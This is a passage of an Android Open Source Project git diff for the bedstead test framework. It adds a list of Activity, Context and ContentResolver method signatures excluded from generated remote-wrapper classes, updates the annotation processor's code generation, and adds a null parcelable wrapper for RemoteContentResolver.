+            "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException",
+
+            // Uses android.app.ActionBar
+            "@Nullable public android.app.ActionBar getActionBar()",
+
+            // Uses android.app.Application
+            "public final android.app.Application getApplication()",
+
+            // Uses android.app.Fragment
+            "@Deprecated public void onAttachFragment(android.app.Fragment)",
+            "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int)",
+            "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+
+            // Uses android.app.FragmentManager
+            "@Deprecated public android.app.FragmentManager getFragmentManager()",
+
+            // Uses android.transition.Scene
+            "public android.transition.Scene getContentScene()",
+
+            // Uses android.transition.TransitionManager
+            "public android.transition.TransitionManager getContentTransitionManager()",
+            "public void setContentTransitionManager(android.transition.TransitionManager)",
+
+            // Uses Object
+            "@Nullable public Object getLastNonConfigurationInstance()",
+            "public Object onRetainNonConfigurationInstance()",
+
+            // Uses android.view.LayoutInflater
+            "@NonNull public android.view.LayoutInflater getLayoutInflater()",
+
+            // Uses android.view.MenuInflater
+            "@NonNull public android.view.MenuInflater getMenuInflater()",
+
+            // Uses android.app.LoaderManager
+            "@Deprecated public android.app.LoaderManager getLoaderManager()",
+
+            // Uses android.media.session.MediaController
+            "public final android.media.session.MediaController getMediaController()",
+
+            // Uses android.content.SharedPreferences
+            "public android.content.SharedPreferences getPreferences(int)",
+
+            // Uses android.view.SearchEvent
+            "public final android.view.SearchEvent getSearchEvent()",
+
+            // Uses android.window.SplashScreen
+            "@NonNull public final android.window.SplashScreen getSplashScreen()",
+
+            // Uses android.app.VoiceInteractor
+            "public android.app.VoiceInteractor getVoiceInteractor()",
+
+            // Uses android.view.Window
+            "public android.view.Window getWindow()",
+
+            // Uses android.view.WindowManager
+            "public android.view.WindowManager getWindowManager()",
+
+            // Uses android.database.Cursor
+            "@Deprecated public final android.database.Cursor managedQuery(android.net.Uri, String[], String, String[], String)",
+            "@Deprecated public void startManagingCursor(android.database.Cursor)",
+            "@Deprecated public void stopManagingCursor(android.database.Cursor)",
+
+            // Uses android.view.ActionMode
+            "@CallSuper public void onActionModeFinished(android.view.ActionMode)",
+            "@CallSuper public void onActionModeStarted(android.view.ActionMode)",
+            "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback)",
+            "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int)",
+            "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback)",
+            "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback, int)",
+
+            // Uses android.view.MenuItem
+            "public boolean onContextItemSelected(@NonNull android.view.MenuItem)",
+            "public void onContextMenuClosed(@NonNull android.view.Menu)",
+            "public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem)",
+            "public boolean onOptionsItemSelected(@NonNull android.view.MenuItem)",
+
+            // Uses android.view.ContextMenu
+            "public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo)",
+
+            // Uses android.app.Dialog
+            "@Deprecated protected android.app.Dialog onCreateDialog(int)",
+            "@Deprecated @Nullable protected android.app.Dialog onCreateDialog(int, android.os.Bundle)",
+            "@Deprecated protected void onPrepareDialog(int, android.app.Dialog)",
+            "@Deprecated protected void onPrepareDialog(int, android.app.Dialog, android.os.Bundle)",
+
+            // Uses android.app.TaskStackBuilder
+            "public void onCreateNavigateUpTaskStack(android.app.TaskStackBuilder)",
+            "public void onPrepareNavigateUpTaskStack(android.app.TaskStackBuilder)",
+
+            // Uses android.view.Menu
+            "public boolean onCreateOptionsMenu(android.view.Menu)",
+            "public boolean onCreatePanelMenu(int, @NonNull android.view.Menu)",
+            "public boolean onMenuOpened(int, @NonNull android.view.Menu)",
+            "public void onOptionsMenuClosed(android.view.Menu)",
+            "public void onPanelClosed(int, @NonNull android.view.Menu)",
+            "public boolean onPrepareOptionsMenu(android.view.Menu)",
+
+            // Uses android.graphics.Canvas
+            "@Deprecated public boolean onCreateThumbnail(android.graphics.Bitmap, android.graphics.Canvas)",
+
+            // Uses android.os.CancellationSignal
+            "public void onGetDirectActions(@NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<java.util.List<android.app.DirectAction>>)",
+            "public void onPerformDirectAction(@NonNull String, @NonNull android.os.Bundle, @NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<android.os.Bundle>)",
+
+            // Uses android.view.SearchEvent
+            "public boolean onSearchRequested(@Nullable android.view.SearchEvent)",
+
+            // Uses android.app.Application.ActivityLifecycleCallbacks
+            "public void registerActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+            "public void unregisterActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+
+            // Uses Runnable
+            "public final void runOnUiThread(Runnable)",
+
+            // Uses android.widget.Toolbar
+            "public void setActionBar(@Nullable android.widget.Toolbar)",
+
+            // Uses android.app.SharedElementCallback
+            "public void setEnterSharedElementCallback(android.app.SharedElementCallback)",
+            "public void setExitSharedElementCallback(android.app.SharedElementCallback)",
+
+            // Uses Drawable
+            "public final void setFeatureDrawable(int, android.graphics.drawable.Drawable)",
+
+            // Uses android.media.session.MediaController
+            "public final void setMediaController(android.media.session.MediaController)",
+
+            // Context
+
+            // Uses Object
+            "public abstract Object getSystemService(@NonNull String)",
+
+            // ContextThemeWrapper
+            "protected void onApplyThemeResource(android.content.res.Resources.Theme, int, boolean)",
+
+            // Context
+
+            // Uses java.util.concurrent.Executor
+            "public boolean bindIsolatedService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+            "public boolean bindService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+
+            // Uses android.content.ServiceConnection
+            "public abstract boolean bindService(@RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int)",
+            "public boolean bindServiceAsUser(@NonNull @RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int, @NonNull android.os.UserHandle)",
+            "public abstract void unbindService(@NonNull android.content.ServiceConnection)",
+            "public void updateServiceGroup(@NonNull android.content.ServiceConnection, int, int)",
+
+            // Uses android.content.Context
+            "@NonNull public android.content.Context createAttributionContext(@Nullable String)",
+            "public abstract android.content.Context createConfigurationContext(@NonNull android.content.res.Configuration)",
+            "@NonNull public android.content.Context createContext(@NonNull android.content.ContextParams)",
+            "public abstract android.content.Context createContextForSplit(String) throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.content.Context createDeviceProtectedStorageContext()",
+            "@DisplayContext public abstract android.content.Context createDisplayContext(@NonNull android.view.Display)",
+            "public abstract android.content.Context createPackageContext(String, int) throws android.content.pm.PackageManager.NameNotFoundException",
+            "@NonNull @UiContext public android.content.Context createWindowContext(int, @Nullable android.os.Bundle)",
+            "@NonNull @UiContext public android.content.Context createWindowContext(@NonNull android.view.Display, int, @Nullable android.os.Bundle)",
+            "public abstract android.content.Context getApplicationContext()",
+
+            // Uses android.content.res.AssetManager
+            "public abstract android.content.res.AssetManager getAssets()",
+
+            // Uses java.lang.ClassLoader
+            "public abstract ClassLoader getClassLoader()",
+
+            // Uses android.view.Display
+            "@Nullable public android.view.Display getDisplay()",
+
+            // Uses android.graphics.drawable.Drawable
+            "@Nullable public final android.graphics.drawable.Drawable getDrawable(@DrawableRes int)",
+            "@Deprecated public abstract android.graphics.drawable.Drawable getWallpaper()",
+            "@Deprecated public abstract android.graphics.drawable.Drawable peekWallpaper()",
+
+            // Uses java.util.concurrent.Executor
+            "public java.util.concurrent.Executor getMainExecutor()",
+
+            // Uses android.os.Looper
+            "public abstract android.os.Looper getMainLooper()",
+
+            // Uses android.content.pm.PackageManager
+            "public abstract android.content.pm.PackageManager getPackageManager()",
+
+            // Uses android.content.ContextParams
+            "@Nullable public android.content.ContextParams getParams()",
+
+            // Uses android.content.res.Resources
+            "public abstract android.content.res.Resources getResources()",
+
+            // Uses android.content.SharedPreferences
+            "public abstract android.content.SharedPreferences getSharedPreferences(String, int)",
+
+            // Uses android.content.res.Resources.Theme
+            "public abstract android.content.res.Resources.Theme getTheme()",
+
+            // Uses android.content.res.TypedArray
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@NonNull @StyleableRes int[])",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@StyleRes int, @NonNull @StyleableRes int[]) throws android.content.res.Resources.NotFoundException",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[])",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[], @AttrRes int, @StyleRes int)",
+
+            // Uses java.io.FileInputStream
+            "public abstract java.io.FileInputStream openFileInput(String) throws java.io.FileNotFoundException",
+
+            // Uses java.io.FileOutputStream
+            "public abstract java.io.FileOutputStream openFileOutput(String, int) throws java.io.FileNotFoundException",
+
+            // Uses android.database.sqlite.SQLiteDatabase
+            "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory)",
+            "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler)",
+
+            // Uses android.content.ComponentCallbacks
+            "public void registerComponentCallbacks(android.content.ComponentCallbacks)",
+            "public void unregisterComponentCallbacks(android.content.ComponentCallbacks)",
+
+            // Uses android.content.BroadcastReceiver
+            "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter)",
+            "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, int)",
+            "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler)",
+            "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler, int)",
+            "public abstract void sendOrderedBroadcast(@NonNull @RequiresPermission android.content.Intent, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public void sendOrderedBroadcast(@NonNull android.content.Intent, @Nullable String, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, @Nullable String, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendStickyOrderedBroadcast(@RequiresPermission android.content.Intent, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendStickyOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void unregisterReceiver(android.content.BroadcastReceiver)",
+
+            // Uses java.io.InputStream
+            "@Deprecated public abstract void setWallpaper(java.io.InputStream) throws java.io.IOException",
+
+
+            // Doesn't make sense as it requires an actual Context
+            "public abstract boolean moveDatabaseFrom(android.content.Context, String)",
+            "public abstract boolean moveSharedPreferencesFrom(android.content.Context, String)",
+
+            // ContentResolver
+
+            // Uses Object
+            "public static Object addStatusChangeListener(int, android.content.SyncStatusObserver)",
+            "public static void removeStatusChangeListener(Object)",
+
+            // Uses android.content.ContentProviderClient
+            "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull android.net.Uri)",
+            "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull String)",
+            "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull android.net.Uri)",
+            "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull String)",
+
+            // Uses android.content.ContentResolver.MimeTypeInfo
+            "@NonNull public final android.content.ContentResolver.MimeTypeInfo getTypeInfo(@NonNull String)",
+
+            // Uses android.util.Size
+            "@NonNull public android.graphics.Bitmap loadThumbnail(@NonNull android.net.Uri, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException",
+
+            // Uses android.database.ContentObserver
+            "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver)",
+            "@Deprecated public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, boolean)",
+            "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, int)",
+            "public void notifyChange(@NonNull java.util.Collection<android.net.Uri>, @Nullable android.database.ContentObserver, int)",
+            "public final void registerContentObserver(@NonNull android.net.Uri, boolean, @NonNull android.database.ContentObserver)",
+            "public final void unregisterContentObserver(@NonNull android.database.ContentObserver)",
+
+            // Uses android.os.CancellationSignal
+            "@Nullable public final android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.os.ParcelFileDescriptor openFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "public final boolean refresh(@NonNull android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+            // Uses java.io.InputStream
+            "@Nullable public final java.io.InputStream openInputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+
+            // Uses java.io.OutputStream
+            "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+            "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException",
+
+            // Uses android.database.Cursor
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String)",
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal)",
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+            // Uses android.content.ContentResolver
+            "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProvider)",
+            "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProviderClient)",
+
+
+            // KeyChain
+
+            // Uses android.app.Activity
+            "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable String, int, @Nullable String)",
+            "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable android.net.Uri, @Nullable String)"
+
+
+
+
+    );
 
     private static final ClassName NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME =
             ClassName.get("com.android.bedstead.remoteframeworkclasses",
                     "NullParcelableRemoteDevicePolicyManager");
+    private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableRemoteContentResolver");
     private static final ClassName COMPONENT_NAME_CLASSNAME =
             ClassName.get("android.content", "ComponentName");
 
@@ -325,7 +662,7 @@
                             m, processingEnv.getTypeUtils(), processingEnv.getElementUtils()))
                     .collect(Collectors.toSet());
 
-            for (String systemService : SYSTEM_SERVICES) {
+            for (String systemService : FRAMEWORK_CLASSES) {
                 TypeElement typeElement =
                         processingEnv.getElementUtils().getTypeElement(systemService);
                 generateRemoteSystemService(
@@ -340,6 +677,7 @@
 
     private void generateWrappers() {
         generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
     }
 
     private void generateWrapper(ClassName className) {
@@ -373,7 +711,8 @@
             TypeElement frameworkClass,
             Set<MethodSignature> blocklistedMethodSignatures,
             Elements elements) {
-        Set<ExecutableElement> methods = filterMethods(getMethods(frameworkClass),
+        Set<ExecutableElement> methods = filterMethods(getMethods(frameworkClass,
+                processingEnv.getElementUtils()),
                 Apis.forClass(frameworkClass.getQualifiedName().toString(),
                         processingEnv.getTypeUtils(), processingEnv.getElementUtils()), elements)
                 .stream()
@@ -395,6 +734,16 @@
         MethodSignature parentProfileInstanceSignature =
                 MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
                         processingEnv.getElementUtils());
+        MethodSignature getContentResolverSignature =
+                MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+
+        Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+        signatureReturnOverrides.put(parentProfileInstanceSignature,
+                ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+        signatureReturnOverrides.put(getContentResolverSignature,
+                ClassName.get("android.content", "RemoteContentResolver"));
+
         String packageName = frameworkClass.getEnclosingElement().toString();
         ClassName className = ClassName.get(packageName,
                 "Remote" + frameworkClass.getSimpleName().toString());
@@ -412,8 +761,9 @@
 
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "$T.class",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
+                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
                 .addMember("futureWrappers", "$T.class",
                         ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
                 .build());
@@ -428,10 +778,9 @@
 
             MethodSignature signature = MethodSignature.forMethod(method,
                     processingEnv.getElementUtils());
-            if (signature.equals(parentProfileInstanceSignature)) {
-                // Special case, we want to return a RemoteDevicePolicyManager instead
-                methodBuilder.returns(ClassName.get(
-                        "android.app.admin", "RemoteDevicePolicyManager"));
+
+            if (signatureReturnOverrides.containsKey(signature)) {
+                methodBuilder.returns(signatureReturnOverrides.get(signature));
             }
 
             methodBuilder.addJavadoc("See {@link $T#$L}.",
@@ -466,8 +815,9 @@
                 TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "$T.class",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
+                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
                 .build());
 
         classBuilder.addField(ClassName.get(frameworkClass),
@@ -539,9 +889,19 @@
     }
 
     private void generateFrameworkImpl(TypeElement frameworkClass, Set<ExecutableElement> methods) {
-        MethodSignature parentProfileInstanceSignature = MethodSignature.forApiString(
-                PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
-                processingEnv.getElementUtils());
+        MethodSignature parentProfileInstanceSignature =
+                MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+        MethodSignature getContentResolverSignature =
+                MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+
+        Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+        signatureReturnOverrides.put(parentProfileInstanceSignature,
+                ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+        signatureReturnOverrides.put(getContentResolverSignature,
+                ClassName.get("android.content", "RemoteContentResolver"));
+
         String packageName = frameworkClass.getEnclosingElement().toString();
         ClassName interfaceClassName = ClassName.get(packageName,
                 "Remote" + frameworkClass.getSimpleName().toString());
@@ -551,7 +911,7 @@
                 TypeSpec.classBuilder(
                         className)
                         .addSuperinterface(interfaceClassName)
-                        .addModifiers(Modifier.FINAL, Modifier.PUBLIC);
+                        .addModifiers(Modifier.PUBLIC);
 
         classBuilder.addField(ClassName.get(frameworkClass),
                 "mFrameworkClass", Modifier.PRIVATE, Modifier.FINAL);
@@ -591,21 +951,26 @@
                 methodBuilder.addParameter(parameterSpec);
             }
 
-            if (signature.equals(parentProfileInstanceSignature)) {
-                // Special case, we want to return a RemoteDevicePolicyManager instead
-                methodBuilder.returns(ClassName.get(
-                        "android.app.admin", "RemoteDevicePolicyManager"));
+            String frameworkClassName = "mFrameworkClass";
+
+            if (method.getModifiers().contains(Modifier.STATIC)) {
+                frameworkClassName = frameworkClass.getQualifiedName().toString();
+            }
+
+            if (signatureReturnOverrides.containsKey(signature)) {
+                methodBuilder.returns(signatureReturnOverrides.get(signature));
                 methodBuilder.addStatement(
-                        "return new $T(mFrameworkClass.$L($L))",
-                        className, method.getSimpleName(), String.join(", ", paramNames));
+                        "return new $TImpl($L.$L($L))",
+                        signatureReturnOverrides.get(signature), frameworkClassName,
+                        method.getSimpleName(), String.join(", ", paramNames));
             } else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
                 methodBuilder.addStatement(
-                        "mFrameworkClass.$L($L)",
-                        method.getSimpleName(), String.join(", ", paramNames));
+                        "$L.$L($L)",
+                        frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
             } else {
                 methodBuilder.addStatement(
-                        "return mFrameworkClass.$L($L)",
-                        method.getSimpleName(), String.join(", ", paramNames));
+                        "return $L.$L($L)",
+                        frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
             }
 
             classBuilder.addMethod(methodBuilder.build());
@@ -616,9 +981,22 @@
 
     private Set<ExecutableElement> filterMethods(
             Set<ExecutableElement> allMethods, Apis validApis, Elements elements) {
-        return allMethods.stream()
-                .filter(m -> validApis.methods().contains(MethodSignature.forMethod(m, elements)))
-                .collect(Collectors.toSet());
+        Set<ExecutableElement> filteredMethods = new HashSet<>();
+
+        for (ExecutableElement method : allMethods) {
+            MethodSignature methodSignature = MethodSignature.forMethod(method, elements);
+            if (validApis.methods().contains(methodSignature)) {
+                if (method.getModifiers().contains(Modifier.PROTECTED)) {
+                    System.out.println(methodSignature + " is protected. Dropping");
+                } else {
+                    filteredMethods.add(method);
+                }
+            } else {
+                System.out.println("No matching public API for " + methodSignature);
+            }
+        }
+
+        return filteredMethods;
     }
 
     private void writeClassToFile(String packageName, TypeSpec clazz) {
@@ -637,11 +1015,31 @@
         }
     }
 
-    private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
-        return interfaceClass.getEnclosedElements().stream()
+    private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+        Map<String, ExecutableElement> methods = new HashMap<>();
+        getMethods(methods, interfaceClass, elements);
+        return new HashSet<>(methods.values());
+    }
+
+    private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+            Elements elements) {
+        interfaceClass.getEnclosedElements().stream()
                 .filter(e -> e instanceof ExecutableElement)
                 .map(e -> (ExecutableElement) e)
-                .filter(e -> e.getKind().equals(ElementKind.METHOD))
-                .collect(Collectors.toSet());
+                .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+                .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+                .forEach(e -> {
+                    methods.put(methodHash(e), e);
+                });
+
+        interfaceClass.getInterfaces().stream()
+                .map(m -> elements.getTypeElement(m.toString()))
+                .forEach(m -> getMethods(methods, m, elements));
+    }
+
+    private String methodHash(ExecutableElement method) {
+        return method.getSimpleName() + "(" + method.getParameters().stream()
+                .map(p -> p.asType().toString()).collect(
+                Collectors.joining(",")) + ")";
     }
 }
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
index 7d544eb..adabda3 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
@@ -3918,7 +3918,6 @@
     method public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[]);
     method @Deprecated public void enterPictureInPictureMode();
     method public boolean enterPictureInPictureMode(@NonNull android.app.PictureInPictureParams);
-    method public <T extends android.view.View> T findViewById(@IdRes int);
     method public void finish();
     method public void finishActivity(int);
     method @Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int);
@@ -4082,7 +4081,6 @@
     method public final void requestShowKeyboardShortcuts();
     method @Deprecated public boolean requestVisibleBehind(boolean);
     method public final boolean requestWindowFeature(int);
-    method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
     method public final void runOnUiThread(Runnable);
     method public void setActionBar(@Nullable android.widget.Toolbar);
     method public void setContentTransitionManager(android.transition.TransitionManager);
@@ -10535,7 +10533,6 @@
     method @NonNull public final String getString(@StringRes int);
     method @NonNull public final String getString(@StringRes int, java.lang.Object...);
     method public abstract Object getSystemService(@NonNull String);
-    method public final <T> T getSystemService(@NonNull Class<T>);
     method @Nullable public abstract String getSystemServiceName(@NonNull Class<?>);
     method @NonNull public final CharSequence getText(@StringRes int);
     method public abstract android.content.res.Resources.Theme getTheme();
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
new file mode 100644
index 0000000..5a535f7
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.content.RemoteContentResolver;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link RemoteContentResolver} for clients
+ * which do not need to actually use the {@link RemoteContentResolver} param or return value.
+ */
+@CustomParcelableWrapper(originalType = RemoteContentResolver.class)
+public final class NullParcelableRemoteContentResolver implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link RemoteContentResolver}.
+     */
+    public static <F> NullParcelableRemoteContentResolver of(
+            Bundler bundler, BundlerType type,
+            RemoteContentResolver remoteContentResolver) {
+        return new NullParcelableRemoteContentResolver();
+    }
+
+    private NullParcelableRemoteContentResolver() {
+    }
+
+    public RemoteContentResolver get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableRemoteContentResolver> CREATOR =
+            new Creator<NullParcelableRemoteContentResolver>() {
+                @Override
+                public NullParcelableRemoteContentResolver createFromParcel(Parcel in) {
+                    return new NullParcelableRemoteContentResolver();
+                }
+
+                @Override
+                public NullParcelableRemoteContentResolver[] newArray(int size) {
+                    return new NullParcelableRemoteContentResolver[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
index 410f94b..bf92e97 100644
--- a/common/device-side/bedstead/testapp/Android.bp
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -99,7 +99,7 @@
 
 java_genrule {
     name: "TestApp_Apps",
